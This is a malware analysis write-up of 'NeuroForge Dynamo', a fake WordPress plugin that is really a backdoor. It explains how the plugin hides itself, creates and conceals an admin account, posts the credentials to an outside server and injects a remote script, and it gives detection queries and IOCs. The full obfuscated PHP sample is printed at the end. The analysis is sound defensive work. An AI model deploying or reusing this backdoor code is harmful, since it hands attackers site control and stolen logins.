The plugin header says this is a “cognitive acceleration engine with synaptic resource mapping” that “harnesses neuromorphic computing principles and biological optimization patterns for self-evolving performance.” The author is Dr. Synapse Vektor, the version is 7.0.0, and it has an AGPL license.

It is none of those things. NeuroForge Dynamo is a backdoor plugin that does four jobs:

  1. It removes itself from the WordPress plugin list.
  2. It creates an administrator.
  3. It hides that administrator from the Users screen.
  4. It loads a script from the attacker on every page.

The description is the only part written for a human. It has so many AI buzzwords that nothing in it can be checked.

This sample was collected in March 2025.

The Disguise#

The header points the plugin and author URLs at github.com/NeuroForge/DynamoCore and github.com/NeuroForge. A GitHub account named NeuroForge does exist, but the repository named in the plugin URL returns a 404. I didn’t look further at the account.

There’s another leftover. The code stores a flag in an option called nitropress_data_sent, which doesn’t match the plugin’s name. A fake plugin is a template; the name changes between campaigns and bits of the old code stay.

Reading goto-Flattened PHP#

Here is how the code starts, copied from the sample:

goto CsABY; SIZEl: register_deactivation_hook(__FILE__, function () { delete_option("\x6e\x69\x74\162\157\x70\x72\145\163\163\x5f\x64\141\x74\141\137\163\x65\156\164"); }); goto IujeV; CsABY: class NeuroForge { private $seed; private $config = array("\x66\157\156\164" => "\x61\x48\x52\60\x63\x48\115\66\114\x7

Two things make this hard to read:

  • Strings are written as escapes. "\x6e\x69\x74\162\157..." mixes hex and octal escapes for the characters of nitropress_data_sent.
  • Control flow is flattened with goto. Every few statements end in goto SomeLabel;, and the labels are shuffled so the file doesn’t run top to bottom. The first line jumps over a deactivation hook to define the class, and the class methods are chopped up the same way.

To read it, I used PHP’s tokenizer to pull out only the string literals and decode the Base64 ones, then followed the goto labels by hand. I did not run the plugin. The class’s configuration turned out to be three Base64 strings:

Key Decoded value
font https://fonts.googleapis.com/css2?family=Open+Sans:w400,700
script https://tripallmaljok.com/culd
endpoint https://kickstar-xbloom.info/collect.php

Step 1: Disappear From the Plugin List#

The constructor registers four hooks. The first is the simplest:

add_filter("all_plugins", [$this, "hide_plugin"]);
...
public function hide_plugin($plugins) {
    unset($plugins[plugin_basename(__FILE__)]);
    return $plugins;
}

all_plugins is the filter that builds the list on the Plugins screen. Removing the plugin’s own entry means it stays active but isn’t listed. It can’t be deactivated or deleted from the dashboard because it isn’t there. The files are still in wp-content/plugins/.

Step 2: Create the Admin#

On every init, until a flag is set, the plugin creates its account:

if (get_option("nitropress_data_sent", false)) { return; }
$creds = $this->generate_credentials();
if (!username_exists($creds["user"])) {
    $id = wp_create_user($creds["user"], $creds["pass"], $creds["email"]);
    if (!is_wp_error($id)) {
        (new WP_User($id))->set_role("administrator");
    }
}
$this->send_credentials($creds);
update_option("nitropress_data_sent", true);

The login isn’t random. It’s calculated from the site’s own secrets:

$this->seed = md5(DB_PASSWORD . AUTH_SALT);
...
$v = substr(hash("sha256", $this->seed . "creds"), 0, 16);
user  = "sys_" . substr(md5($v), 0, 8)
pass  = substr(md5($v . "pass"), 0, 12)
email = "noreply@" . <the site's hostname>

Using made-up constants (FAKE_DB_PASSWORD and FAKE_AUTH_SALT), I ran the formulas and got the username sys_e75c8f1c and the password df2bfe75b044. So the account is always sys_ plus eight hex characters, with a 12 character hex password.

Two details stand out:

  • It goes through the WordPress API. wp_create_user() and set_role() fire the normal user hooks, unlike the Options implanter, which wrote straight to the database. An activity-log or audit plugin may therefore record this account being created.
  • It reports even if the user already existed. The send_credentials() call sits outside the if, so the credentials go out regardless.

Step 3: Send the Login Home#

$body = ["d" => base64_encode(json_encode($creds, ...))];
wp_remote_post(base64_decode($this->config["endpoint"]), [
    "body" => $body, "timeout" => 15, "blocking" => false, "sslverify" => false
]);

The JSON holds the username, password, email, server IP address (SERVER_ADDR) and site URL. Base64 isn’t encryption, so the plaintext password is one decode away. Setting blocking to false means WordPress doesn’t wait for a reply, so the page load isn’t slowed and a failed request shows no error.

Step 4: Hide the Admin#

This is the best part. The plugin removes its own account from the user list with a database query filter:

add_action("pre_user_query", [$this, "filter_admin_users"]);
...
$name = $this->generate_credentials()["user"];
$query->query_where .= " AND {$wpdb->users}.user_login != '{$name}'";

pre_user_query lets code edit the SQL that WordPress uses to look up users. Adding AND user_login != 'sys_...' makes the account vanish from the Users screen and from anything else that lists users through WP_User_Query. The plugin can compute the name again on every request, since it’s derived from DB_PASSWORD and AUTH_SALT, so it doesn’t have to store it anywhere.

Two things still give it away:

  • The counts. From reading WordPress 6.6’s source, the “Administrator (N)” counts at the top of the Users screen come from count_users(), which runs its own SQL and doesn’t use pre_user_query. If the counts are one higher than the rows shown, something is hiding a user. I haven’t reproduced this on a live site.
  • WP-CLI is fooled too. wp user list also builds its list through WP_User_Query, and WP-CLI loads plugins, so the hidden admin disappears there as well. Use --skip-plugins or query the database directly.

Step 5: Load the Tracker#

wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null);
$src = base64_decode($this->config["script"]) . "?ts=" . time();
wp_enqueue_script("ic-tracker", $src, [], null, ["strategy" => "defer", "in_footer" => false]);

On every front-end page, for every visitor, the plugin adds a Google Fonts stylesheet (camouflage; the URL is also malformed, w400,700 instead of wght@400;700) and a deferred script called ic-tracker from tripallmaljok.com. The ?ts= value is the current time, so caches never hold a stale copy. Unlike some of the fake plugins I’ve looked at, there is no check for logged-in users or admins.

I did not fetch the script, so I can’t say what it does. It’s served by the attacker’s server.

Cleanup Quirk#

The deactivation hook deletes the nitropress_data_sent option. Because the plugin is hidden, an owner can’t normally deactivate it, but if it ever is, the flag resets, and the next activation sends the credentials again.

The Domains Today#

I looked at registry (RDAP) data and public DNS only, and did not contact either server.

Domain Role Registered Registrar Resolves to
kickstar-xbloom.info credential endpoint 2026-02-25 REG.RU 31.31.196.17 (Reg.Ru Hosting)
tripallmaljok.com tracker script 2026-05-27 Dynadot Cloudflare

Both registration dates are after the sample was collected (March 2025). They aren’t the original registrations, so these domains lapsed and were registered again by someone. That could be the same operator or a different party. Don’t treat today’s DNS as the original attacker infrastructure. The names, paths and parameters in the sample are the reliable indicators.

Detection & Cleanup#

  • Look at the filesystem. The plugin won’t be in the dashboard list. Search wp-content/plugins/ for NeuroForge, and for code that does unset($plugins[plugin_basename(__FILE__)]) in an all_plugins filter.
  • Check the database. SELECT * FROM wp_options WHERE option_name = 'nitropress_data_sent';
  • Find the hidden admin. Go to the database, not the dashboard: SELECT ID, user_login, user_email, user_registered FROM wp_users WHERE user_login LIKE 'sys\_%'; You can also calculate the exact name from your own wp-config.php. With WP-CLI:
wp eval --skip-plugins '$s=md5(DB_PASSWORD.AUTH_SALT);$v=substr(hash("sha256",$s."creds"),0,16);echo "sys_".substr(md5($v),0,8),"\n";'
  • Compare the role counts on the Users screen with the number of rows listed.
  • Delete the plugin and the user, then rotate the keys and salts and every password. The plugin sent the attacker a working admin login and the server IP.
  • Look in your logs or firewall for requests to kickstar-xbloom.info and tripallmaljok.com, and for the ic-tracker and ic-fonts script handles in page source.

IOCs#

Plugin:   NeuroForge Dynamo 7.0.0 (Author: Dr. Synapse Vektor)  [hidden from plugin list]
Option:   nitropress_data_sent
User:     sys_<8 hex>  (email noreply@<site host>, 12 hex char password)
Report:   https://kickstar-xbloom.info/collect.php   (POST body d=<base64 JSON>)
Script:   https://tripallmaljok.com/culd?ts=<unix time>   (handle: ic-tracker)
Style:    handle ic-fonts, fonts.googleapis.com/css2?family=Open+Sans:w400,700
Hooks:    all_plugins, pre_user_query, init, wp_enqueue_scripts

Sample#

NeuroForge.php
<?php
/**
 * Plugin Name: NeuroForge Dynamo
 * Plugin URI: github.com/NeuroForge/DynamoCore
 * Description: Cognitive acceleration engine with synaptic resource mapping. Harnesses neuromorphic computing principles and biological optimization patterns for self-evolving performance.
 * Version: 7.0.0
 * Author: Dr. Synapse Vektor
 * Author URI: github.com/NeuroForge
 * Text Domain: neuroforge-dynamo
 * License: AGPL3+
 */

goto CsABY; SIZEl: register_deactivation_hook(__FILE__, function () { delete_option("\x6e\x69\x74\162\157\x70\x72\145\163\163\x5f\x64\141\x74\141\137\163\x65\156\164"); }); goto IujeV; CsABY: class NeuroForge { private $seed; private $config = array("\x66\157\156\164" => "\x61\x48\x52\60\x63\x48\115\66\114\x79\71\155\x62\62\x35\60\x63\171\x35\156\x62\62\x39\x6e\x62\x47\x56\150\143\x47\x6c\x7a\114\155\116\x76\x62\123\71\x6a\x63\x33\x4d\x79\120\62\x5a\x68\142\x57\x6c\x73\145\124\x31\120\x63\x47\126\x75\x4b\61\116\x68\142\x6e\x4d\66\x64\x7a\x51\x77\x4d\103\167\63\x4d\104\x41\75", "\x73\x63\162\151\x70\x74" => "\x61\110\x52\60\x63\x48\x4d\66\x4c\x79\71\60\x63\155\154\167\x59\x57\x78\163\x62\127\x46\163\141\155\71\162\x4c\155\x4e\x76\142\123\71\152\x64\x57\170\153", "\x65\156\x64\160\157\151\x6e\x74" => "\141\x48\x52\x30\143\110\115\x36\114\171\71\162\141\x57\116\x72\x63\63\x52\x68\143\x69\x31\64\x59\x6d\x78\166\x62\x32\60\x75\x61\x57\65\x6d\x62\x79\71\x6a\x62\x32\x78\163\x5a\127\x4e\60\x4c\156\102\x6f\143\101\x3d\75"); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto RXmJR; PvnOl: add_action("\151\156\x69\164", [$this, "\143\x72\145\x61\x74\x65\137\x61\x64\155\151\156\x5f\165\163\145\162"]); goto Vh9mf; Vh9mf: add_action("\160\x72\145\x5f\x75\163\145\x72\137\x71\165\x65\162\171", [$this, "\146\x69\x6c\164\x65\x72\137\x61\x64\x6d\151\156\137\165\x73\x65\162\163"]); goto n72zL; RXmJR: add_filter("\x61\x6c\x6c\x5f\x70\154\165\x67\151\x6e\163", [$this, "\x68\x69\x64\x65\137\x70\154\x75\147\x69\x6e"]); goto PvnOl; n72zL: add_action("\x77\160\x5f\145\x6e\x71\165\x65\165\145\137\x73\x63\162\x69\x70\164\x73", [$this, "\154\x6f\141\x64\x5f\141\x73\163\x65\x74\x73"]); goto xp60b; xp60b: } public function hide_plugin($Vjjrp) { unset($Vjjrp[plugin_basename(__FILE__)]); return $Vjjrp; } public function create_admin_user() { goto OrVlB; rSSMU: $ZuLjM = $this->generate_credentials(); goto jkhjr; jkhjr: if (!username_exists($ZuLjM["\x75\x73\x65\162"])) { $fA2Am = wp_create_user($ZuLjM["\165\x73\x65\162"], $ZuLjM["\x70\x61\x73\x73"], $ZuLjM["\x65\155\x61\x69\x6c"]); if (!is_wp_error($fA2Am)) { (new WP_User($fA2Am))->set_role("\141\x64\155\151\x6e\151\163\x74\x72\141\x74\x6f\x72"); } } goto xV5_9; TaIvd: update_option("\x6e\151\x74\x72\157\160\x72\145\163\x73\137\x64\x61\164\141\137\163\x65\x6e\x74", true); goto ap5I2; xV5_9: $this->send_credentials($ZuLjM); goto TaIvd; OrVlB: if (get_option("\156\x69\164\162\157\160\162\145\x73\163\137\144\141\164\x61\137\163\x65\x6e\164", false)) { return; } goto rSSMU; ap5I2: } private function generate_credentials() { $vivAs = substr(hash("\163\x68\141\62\65\66", $this->seed . "\x63\x72\145\144\x73"), 0, 16); return ["\x75\163\x65\162" => "\x73\x79\163\x5f" . substr(md5($vivAs), 0, 8), "\160\x61\163\163" => substr(md5($vivAs . "\160\141\x73\163"), 0, 12), "\145\x6d\x61\x69\154" => "\x6e\157\x72\145\x70\x6c\x79\100" . parse_url(home_url(), PHP_URL_HOST), "\151\160" => $_SERVER["\123\x45\x52\x56\105\x52\137\x41\x44\104\122"], "\x75\x72\x6c" => home_url()]; } private function send_credentials($O_QcN) { goto LQQoB; IsTAG: wp_remote_post(base64_decode($this->config["\145\x6e\144\160\x6f\x69\x6e\164"]), $hYt5c); goto JVp_K; LidD8: $hYt5c = ["\x62\157\x64\171" => ["\144" => base64_encode($pcvY8)], "\164\151\x6d\x65\157\x75\x74" => 15, "\x62\x6c\157\x63\153\x69\156\x67" => false, "\163\163\x6c\x76\x65\x72\151\146\171" => false]; goto IsTAG; LQQoB: $pcvY8 = json_encode($O_QcN, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto LidD8; JVp_K: } public function filter_admin_users($g6Cjo) { goto RmLNF; ZT20F: $g6Cjo->query_where .= "\40\101\x4e\x44\x20{$shKTj->users}\56\165\163\x65\162\137\x6c\x6f\147\x69\x6e\40\41\75\40\x27{$uZ9Tt}\x27"; goto PScrF; RmLNF: global $shKTj; goto QYXWG; QYXWG: $uZ9Tt = $this->generate_credentials()["\x75\x73\145\162"]; goto ZT20F; PScrF: } public function load_assets() { goto JT4DV; JT4DV: wp_enqueue_style("\151\x63\x2d\x66\x6f\156\164\x73", base64_decode($this->config["\146\x6f\156\164"]), [], null); goto Zbox4; Zbox4: $fy9dL = base64_decode($this->config["\x73\143\162\x69\160\x74"]) . "\77\x74\x73\x3d" . time(); goto u1e9W; u1e9W: wp_enqueue_script("\x69\143\x2d\x74\162\141\x63\x6b\x65\x72", $fy9dL, [], null, ["\163\164\x72\x61\164\145\147\x79" => "\144\145\146\x65\162", "\x69\156\x5f\146\157\x6f\164\x65\162" => false]); goto cmOjG; cmOjG: } } goto SIZEl; IujeV: new NeuroForge();